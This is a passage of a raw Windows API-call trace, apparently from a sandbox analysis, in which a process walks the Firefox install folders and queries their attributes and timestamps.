lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2431fb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x12670, dwReserved0=0x0, dwReserved1=0x0, cFileName="breakpadinjector.dll", cAlternateFileName="")) returned 1 [0089.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="browser", cAlternateFileName="")) returned 1 [0089.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.291] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333460 [0089.291] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333460, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1333460, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333460) returned 1 [0089.291] NtClose (Handle=0x180) returned 0x0 [0089.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef0a0 [0089.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef128 [0089.292] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.294] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.294] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4910680, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x14623, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml", cAlternateFileName="")) returned 1 [0089.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c18a8 [0089.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef238 [0089.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.296] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="")) returned 1 [0089.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.297] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="components", cAlternateFileName="")) returned 1 [0089.297] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd9ee5100, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter-override.ini", cAlternateFileName="")) returned 1 [0089.297] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions", cAlternateFileName="")) returned 1 [0089.297] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x57748a00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x44080e, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0089.297] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="")) returned 1 [0089.297] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="")) returned 0 [0089.297] GetLastError () returned 0x12 [0089.297] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.297] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.298] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.298] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4910680, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x14623, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml", cAlternateFileName="")) returned 1 [0089.298] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="")) returned 1 [0089.298] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="components", cAlternateFileName="")) returned 1 [0089.298] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.299] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.299] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333460, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1333460, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333460) returned 1 [0089.299] NtClose (Handle=0x180) returned 0x0 [0089.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.300] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.300] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.300] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49bf0480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42870, dwReserved0=0x0, dwReserved1=0x0, cFileName="browsercomps.dll", cAlternateFileName="")) returned 1 [0089.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.302] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x22, dwReserved0=0x0, dwReserved1=0x0, cFileName="components.manifest", cAlternateFileName="")) returned 1 [0089.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0089.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1928 [0089.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310990 [0089.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.304] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x22, dwReserved0=0x0, dwReserved1=0x0, cFileName="components.manifest", cAlternateFileName="")) returned 0 [0089.304] GetLastError () returned 0x12 [0089.304] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0089.304] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.304] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.304] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49bf0480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42870, dwReserved0=0x0, dwReserved1=0x0, cFileName="browsercomps.dll", cAlternateFileName="")) returned 1 [0089.304] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x22, dwReserved0=0x0, dwReserved1=0x0, cFileName="components.manifest", cAlternateFileName="")) returned 1 [0089.304] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x22, dwReserved0=0x0, dwReserved1=0x0, cFileName="components.manifest", cAlternateFileName="")) returned 0 [0089.304] GetLastError () returned 0x12 [0089.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.305] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0089.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd9ee5100, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter-override.ini", cAlternateFileName="")) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions", cAlternateFileName="")) returned 1 [0089.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.305] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.306] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.306] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333460 [0089.307] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333460, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1333460, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333460) returned 1 [0089.307] NtClose (Handle=0x168) returned 0x0 [0089.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.308] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0089.308] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="")) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="")) returned 0 [0089.308] GetLastError () returned 